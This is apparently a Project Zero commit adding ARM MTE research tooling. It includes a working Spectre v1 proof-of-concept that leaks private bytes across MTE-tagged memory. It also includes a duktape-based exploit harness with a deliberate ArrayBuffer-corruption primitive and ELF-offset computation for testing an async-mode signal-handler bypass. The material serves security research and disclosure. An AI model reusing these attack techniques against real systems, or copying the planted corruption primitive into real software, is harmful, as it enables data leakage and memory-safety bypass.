Add MTETest tooling for blog post series.

https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html

MTETest/0001-Add-MTE-spectre-test.patch

@@ -0,0 +1,204 @@
+From b1f703913db28d4ca953959b39fb99f51760a6e6 Mon Sep 17 00:00:00 2001
+From: Mark Brand <[email protected]>
+Date: Thu, 3 Aug 2023 16:11:04 +0200
+Subject: [PATCH] Add MTE spectre test.
+
+---
+ demos/CMakeLists.txt           |   5 +-
+ demos/spectre_v1_pht_sa_mte.cc | 163 +++++++++++++++++++++++++++++++++
+ 2 files changed, 167 insertions(+), 1 deletion(-)
+ create mode 100644 demos/spectre_v1_pht_sa_mte.cc
+
+diff --git a/demos/CMakeLists.txt b/demos/CMakeLists.txt
+index ce3d67b..831f5ae 100644
+--- a/demos/CMakeLists.txt
++++ b/demos/CMakeLists.txt
+@@ -127,12 +127,15 @@ function(add_demo demo_name)
+   endif()
+
+   add_executable(${demo_name} ${demo_name}.cc ${ARG_ADDITIONAL_SOURCES})
+-  target_link_libraries(${demo_name} safeside)
++  target_link_libraries(${demo_name} safeside -static)
+ endfunction()
+
+ # Spectre V1 PHT SA -- mistraining PHT in the same address space
+ add_demo(spectre_v1_pht_sa)
+
++# Spectre V1 PHT SA -- mistraining PHT in the same address space with MTE
++add_demo(spectre_v1_pht_sa_mte)
++
+ # Spectre V1 BTB SA -- mistraining BTB in the same address space
+ add_demo(spectre_v1_btb_sa)
+
+diff --git a/demos/spectre_v1_pht_sa_mte.cc b/demos/spectre_v1_pht_sa_mte.cc
+new file mode 100644
+index 0000000..68dd642
+--- /dev/null
++++ b/demos/spectre_v1_pht_sa_mte.cc
+@@ -0,0 +1,163 @@
++/*
++ * Copyright 2023 Google LLC
++ *
++ * Licensed under both the 3-Clause BSD License and the GPLv2, found in the
++ * LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory.
++ *
++ * SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0
++ */
++
++// Causes misprediction of conditional branches that leads to a bounds check
++// being bypassed during speculative execution. Leaks architecturally
++// inaccessible data from the process's address space.
++//
++// PLATFORM NOTES:
++// This program should leak data on pretty much any system where it compiles.
++// We only require an out-of-order CPU that predicts conditional branches.
++
++#include <array>
++#include <cstring>
++#include <iostream>
++#include <memory>
++
++#include "instr.h"
++#include "local_content.h"
++#include "timing_array.h"
++#include "utils.h"
++
++#include <cassert>
++#include <fcntl.h>
++#include <sys/mman.h>
++#include <sys/prctl.h>
++#include <unistd.h>
++
++namespace mte {
++void enable(bool sync=true, uint16_t tag_mask=0xfffe) {
++  int ctrl = sync ? PR_MTE_TCF_SYNC : PR_MTE_TCF_ASYNC;
++  ctrl |= tag_mask << PR_MTE_TAG_SHIFT;
++  assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, ctrl, 0, 0, 0));
++}
++
++void disable() {
++  assert(0 == prctl(PR_SET_TAGGED_ADDR_CTRL, PR_MTE_TCF_NONE, 0, 0, 0));
++}
++
++template<typename T>
++T* tagz(T* ptr, size_t len, uint8_t tag=0) {
++  if (tag == 0) {
++    asm volatile ("irg %0, %0\n" : "+r"(ptr));
++  } else {
++    ptr = (T*)(((uintptr_t)ptr) | ((uintptr_t)tag) << 56);
++  }
++  T* end_ptr = ptr;
++  for (size_t i = 0; i < len; i += 16) {
++    asm volatile ("stzg %0, [%0], #16\n" : "+r"(end_ptr));
++  }
++  return ptr;
++}
++
++uint8_t tag(void* ptr) {
++  uintptr_t address;
++  memcpy(&address, &ptr, sizeof(address));
++  return static_cast<uint8_t>(address >> 56);
++}
++} // namespace mte
++
++char* tagged_public_data = nullptr;
++char* tagged_private_data = nullptr;
++
++// Leaks the byte that is physically located at &text[0] + offset, without ever
++// loading it. In the abstract machine, and in the code executed by the CPU,
++// this function does not load any memory except for what is in the bounds
++// of `text`, and local auxiliary data.
++//
++// Instead, the leak is performed by accessing out-of-bounds during speculative
++// execution, bypassing the bounds check by training the branch predictor to
++// think that the value will be in-range.
++static char LeakByte(const char *data, size_t offset) {
++  TimingArray timing_array;
++  // The size needs to be unloaded from cache to force speculative execution
++  // to guess the result of comparison.
++  //
++  // TODO(asteinha): since size_in_heap is no longer the only heap-allocated
++  // value, it should be allocated into its own unique page
++  std::unique_ptr<size_t> size_in_heap = std::unique_ptr<size_t>(
++      new size_t(strlen(data)));
++
++  for (int run = 0;; ++run) {
++    timing_array.FlushFromCache();
++    // We pick a different offset every time so that it's guaranteed that the
++    // value of the in-bounds access is usually different from the secret value
++    // we want to leak via out-of-bounds speculative access.
++    int safe_offset = run % strlen(data);
++
++    // Loop length must be high enough to beat branch predictors.
++    // The current length 2048 was established empirically. With significantly
++    // shorter loop lengths some branch predictors are able to observe the
++    // pattern and avoid branch mispredictions.
++    for (size_t i = 0; i < 2048; ++i) {
++      // Remove from cache so that we block on loading it from memory,
++      // triggering speculative execution.
++      FlushDataCacheLine(size_in_heap.get());
++
++      // Train the branch predictor: perform in-bounds accesses 2047 times,
++      // and then use the out-of-bounds offset we _actually_ care about on the
++      // 2048th time.
++      // The local_offset value computation is a branchless equivalent of:
++      // size_t local_offset = ((i + 1) % 2048) ? safe_offset : offset;
++      // We need to avoid branching even for unoptimized compilation (-O0).
++      // Optimized compilations (-O1, concretely -fif-conversion) would remove
++      // the branching automatically.
++      size_t local_offset =
++          offset + (safe_offset - offset) * static_cast<bool>((i + 1) % 2048);
++
++      if (local_offset < *size_in_heap) {
++        // This branch was trained to always be taken during speculative
++        // execution, so it's taken even on the 2048th iteration, when the
++        // condition is false!
++        ForceRead(&timing_array[data[local_offset]]);
++      }
++    }
++
++    int ret = timing_array.FindFirstCachedElementIndexAfter(data[safe_offset]);
++    if (ret >= 0 && ret != data[safe_offset]) {
++      return ret;
++    }
++
++    if (run > 100000) {
++      std::cerr << "Does not converge" << std::endl;
++      exit(EXIT_FAILURE);
++    }
++  }
++}
++
++int main() {
++  mte::enable(false);
++
++  tagged_public_data = (char*)mmap(nullptr, 0x1000, 
++    PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
++
++  tagged_private_data = (char*)mmap(nullptr, 0x1000, 
++    PROT_READ|PROT_WRITE|PROT_MTE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
++
++  const size_t private_offset = tagged_private_data - tagged_public_data;
++
++  tagged_public_data = mte::tagz(tagged_public_data, 0x1000, 1);
++  tagged_private_data = mte::tagz(tagged_private_data, 0x1000, 2);
++
++  strcpy(tagged_public_data,  public_data);
++  strcpy(tagged_private_data, private_data);
++
++  std::cout << "Leaking the string: ";
++  std::cout.flush();
++  for (size_t i = 0; i < strlen(tagged_private_data); ++i) {
++    // On at least some machines, this will print the i'th byte from
++    // private_data, despite the only actually-executed memory accesses being
++    // to valid bytes in public_data.
++    std::cout << LeakByte(tagged_public_data, private_offset + i);
++    std::cout.flush();
++  }
++  std::cout << "\nDone!\n";
++
++  std::cout << "Checking that we would crash during architectural access:\n" << tagged_public_data[private_offset];
++}
+-- 
+2.41.0.585.gd2178a4bd4-goog
+

MTETest/README.md

@@ -0,0 +1,14 @@
+# MTE testing tools and examples.
+
+This project includes a build script and code samples used to verify various
+properties of the implementation of ARM MTE. See the blog post here for more
+information:
+
+https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html
+
+Note that most of these examples are written to demonstrate specific software
+or hardware behaviour observed on a single test device configuration, so you
+may encounter difficulties in reproducing the results in a different
+environment, and will need to provide your own configuration for the core layout
+of your test device, and likely also calibrate the timer and branch prediction
+iterations (see config.py and config.h).

MTETest/async_signal_handler_bypass.c

@@ -0,0 +1,151 @@
+// Copyright 2023 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     https://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+#define _GNU_SOURCE
+
+#include <assert.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#include <fcntl.h>
+#include <pthread.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <malloc.h>
+
+#include "lib/mte.h"
+#include "lib/scheduler.h"
+
+#include "duktape.h"
+
+static void* read_file(const char* path) {
+  int fd = open(path, O_RDONLY);
+  size_t data_read = 0;
+  size_t data_size = 0;
+  char* data = NULL;
+  while (true) {
+    if (data_read == data_size) {
+      char* new_data = realloc(data, data_size + 1024);
+      if (!new_data) {
+        free(data);
+        return NULL;
+      }
+      data = new_data;
+      data_size = data_size + 1024;
+    }
+    ssize_t result = read(fd, &data[data_read], data_size - data_read);
+    if (result <= 0) {
+      return data;
+    } else {
+      data_read += result;
+    }
+  }
+}
+
+static duk_ret_t print(duk_context *ctx) {
+  fprintf(stderr, "%s\n", duk_to_string(ctx, 0));
+  return 0;
+}
+
+static duk_ret_t corrupt_bytearray(duk_context* ctx) {
+  if (duk_get_type(ctx, 0) == DUK_TYPE_OBJECT) {
+    uint32_t* bufobj_i = duk_get_heapptr(ctx, 0);
+    uint32_t** bufobj_p = (uint32_t**)bufobj_i;
+    // Set the ArrayBuffer byteLength
+    bufobj_i[19] = 0xffffffff;
+    // Set the backing store size
+    bufobj_p[7][6] = 0xffffffff;
+  }
+  return 0;
+}
+
+static duk_ret_t tag_check_fail(duk_context* ctx) {
+  (void)ctx;
+  void* ptr = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_MTE,
+    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  mte_tag_and_zero(ptr, 0x1000);
+  *(char*)ptr = 0x23;
+  return 0;
+}
+
+// This is a very rough simulation of the Breakpad exception handling code for
+// linux, see:
+// https://source.chromium.org/chromium/chromium/src/+/main:third_party/breakpad/breakpad/src/client/linux/handler/exception_handler.cc;l=328
+bool (*g_first_chance_handler)(int signal, siginfo_t* info, void* ucontext_ptr) = NULL;
+void segv_handler(int signal, siginfo_t* info, void* ucontext_ptr) {
+  fprintf(stderr, "segv handler %i\n", signal);
+  if (g_first_chance_handler && g_first_chance_handler(signal, info, ucontext_ptr)) {
+    return;
+  }
+  fprintf(stderr, "killing process\n");
+  exit(1);
+}
+
+void add_segv_handler() {
+  struct sigaction new_segv_handler, old_segv_handler;
+  new_segv_handler.sa_sigaction = segv_handler;
+  new_segv_handler.sa_flags = SA_SIGINFO;
+  assert(0 == sigaction(SIGSEGV, &new_segv_handler, &old_segv_handler));
+}
+
+int main(int argc, char** argv) {
+  if (argc != 2) {
+    fprintf(stderr, "usage: async_signal_handler_bypass exploit_javascript\n");
+    exit(-1);
+  }
+
+  g_first_chance_handler = NULL;
+  add_segv_handler();
+
+  mte_enable(false, DEFAULT_TAG_MASK);
+
+  // We have the hosting code compute necessary offsets here and provide those
+  // to the exploit code to avoid having to manually generate offsets when
+  // building...
+  uint32_t* elf_base_ptr = (uint32_t*)(((uintptr_t)print) - 0x20000);
+  while (*elf_base_ptr != 0x464c457f)
+    --elf_base_ptr;
+
+  char* offsets;
+  asprintf(&offsets,
+           "var print_offset = %p;\n"
+           "var first_chance_handler_offset = %p;\n",
+           (void*)((uintptr_t)print - (uintptr_t)elf_base_ptr),
+           (void*)((uintptr_t)&g_first_chance_handler - (uintptr_t)elf_base_ptr));
+
+  char* script = read_file(argv[1]);
+
+  char* full_script;
+  asprintf(&full_script, "%s\n%s", offsets, script);
+
+  duk_context *ctx = duk_create_heap_default();
+
+  duk_push_c_function(ctx, print, 1);
+  duk_put_global_string(ctx, "print");
+
+  duk_push_c_function(ctx, tag_check_fail, 0);
+  duk_put_global_string(ctx, "tag_check_fail");
+
+  duk_push_c_function(ctx, corrupt_bytearray, 1);
+  duk_put_global_string(ctx, "corrupt_bytearray");
+
+  duk_eval_string_noresult(ctx, full_script);
+  duk_destroy_heap(ctx);
+
+  fprintf(stderr, "done\n");
+
+  return 0;
+}